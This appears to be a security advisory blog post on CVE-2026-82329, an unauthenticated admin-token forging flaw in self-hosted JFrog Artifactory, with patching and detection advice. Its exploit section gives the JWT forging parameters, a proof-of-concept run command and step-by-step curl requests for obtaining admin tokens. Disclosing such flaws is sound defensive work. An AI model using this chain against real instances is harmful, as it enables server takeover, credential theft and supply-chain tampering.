Listen to this Post
CVE-2026-82329 is a critical improper authentication vulnerability in JFrog Artifactory that enables unauthenticated attackers with network access to obtain full administrative privileges on vulnerable self-hosted instances. The flaw resides in JFrog Access, the platform component responsible for issuing and validating credentials. Under default configurations where no additional join key has been set, the system silently provides a “phantom” join key that attackers can abuse.
The root cause, identified through patch-diff analysis between JFrog Access versions 7.191.11 (vulnerable) and 7.191.14 (patched), lies in how the system resolves join keys. In vulnerable versions, an empty string ("") is accepted as a valid join key. When the system computes the signing key for an empty join key, it generates `pkcs7(“”, 32)` — 32 bytes of `0x20` — a fully predictable and known secret. Because of this, an attacker can forge a valid cluster join JWT using HMAC-SHA256 with alg=HS256, kid = SHA256(""), and any service_id, with skip_node_registration=true.
The exploitation chain is entirely unauthenticated and requires no user interaction. First, the attacker sends a `POST /access/api/v1/registry/join` request to the `RegistryNoAuthResource` endpoint, which requires no authentication. The server responds with an HTTP 201 and returns a `SERVICE` token with scope=admin. Second, the attacker uses this service token to call `POST /access/api/v1/tokens` with scope=applied-permissions/admin&audience=, receiving a full administrator platform access token. With this admin token, the attacker can read the entire server configuration, list and steal every access token, create backdoor admin users, and on Pro/Enterprise editions, create repositories and modify artifacts.
JFrog disclosed and patched the vulnerability on August 28, 2026. By September 1, 2026 — just three days later — watchTowr’s honeypot infrastructure observed active exploitation in the wild. Attackers were observed minting administrator tokens and enumerating users, groups, credential sets, and federated access topologies. The vulnerability affects multiple Artifactory 7.x branches: versions 7.161.0 through 7.161.19, 7.146.0 through 7.146.36, 7.133.0 through 7.133.28, 7.125.0 through 7.125.19, 7.117.0 through 7.117.27, and 7.111.4 through 7.111.21. JFrog Cloud environments were already protected and not affected.
DailyCVE Form:
Platform: JFrog Artifactory (self-hosted)
Version: 7.111.4–7.161.19
Vulnerability: Authentication Bypass (CWE-287)
Severity: CRITICAL (CVSS 9.8)
Date: 2026-08-28
Prediction: Patch expected 2026-08-28 (already released)
What Undercode Say:
The vulnerability enables unauthenticated admin token forging through a blank join key weakness. Below is the technical exploitation flow and validation commands.
Exploit: (Educational Purposes!)
Clone the proof-of-concept repository and run the validator against a vulnerable target:
git clone https://github.com/dinosn/cve-2026-82329-jfrog-artifactory.git cd cve-2026-82329-jfrog-artifactory python3 poc/cve_2026_82329_poc.py http://TARGET:8082
Expected output on a vulnerable instance:
[+] Step 1 /registry/join -> HTTP 201 SERVICE token minted (scp=admin) [+] Step 2 /access/api/v1/tokens -> HTTP 200 ADMIN token (scp=applied-permissions/admin, aud=) [+] Step 3 proof of admin capability: GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, admin-only; unauth=401) [=] VULNERABLE - unauthenticated attacker obtained ADMIN on this instance (CVE-2026-82329)
Manual exploitation using `curl`:
Step 1: Forge join JWT and obtain SERVICE token
curl -X POST http://TARGET:8082/access/api/v1/registry/join \
-H "Content-Type: application/json" \
-d '{"jwt": "<FORGED_JOIN_JWT>", "service_id": "artifactory"}'
Step 2: Exchange SERVICE token for ADMIN token
curl -X POST http://TARGET:8082/access/api/v1/tokens \
-H "Authorization: Bearer <SERVICE_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"scope": "applied-permissions/admin", "audience": ""}'
Step 3: Verify admin access
curl -H "Authorization: Bearer <ADMIN_TOKEN>" \
http://TARGET:8082/artifactory/api/system/configuration
Protection:
- Upgrade immediately to patched versions: 7.111.21, 7.117.28, 7.125.20, 7.133.29, 7.146.38, or 7.161.20
- If unable to patch immediately, configure an additional join key to prevent the “phantom” key fallback
- Restrict network access to Artifactory instances; do not expose them to the internet unnecessarily
- Inspect audit logs for unauthorized token creation or `/access/api/v1/registry/join` requests
- Rotate all existing access tokens and credentials immediately after patching, as upgrading does not automatically invalidate already-issued tokens
- Review connected systems for malicious changes or backdoor access
- Monitor for indicators of compromise including unexpected admin users, new tokens, and enumeration of users/groups/credentials
Impact:
Successful exploitation grants unauthenticated attackers full administrative control over the Artifactory instance. With admin privileges, attackers can read and modify all repositories, steal every access token and credential set, create backdoor admin users, and alter security configurations. Because Artifactory serves as a central component in CI/CD and software supply chains — used by over 6,600 organizations including 83% of the Fortune 100 — administrative compromise enables attackers to replace trusted artifacts with malicious payloads, tamper with build pipelines, move laterally into production systems, and push malicious changes downstream to customers. This effectively turns a software repository into a supply-chain attack vector, making CVE-2026-82329 one of the most critical vulnerabilities facing DevOps infrastructure in 2026.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
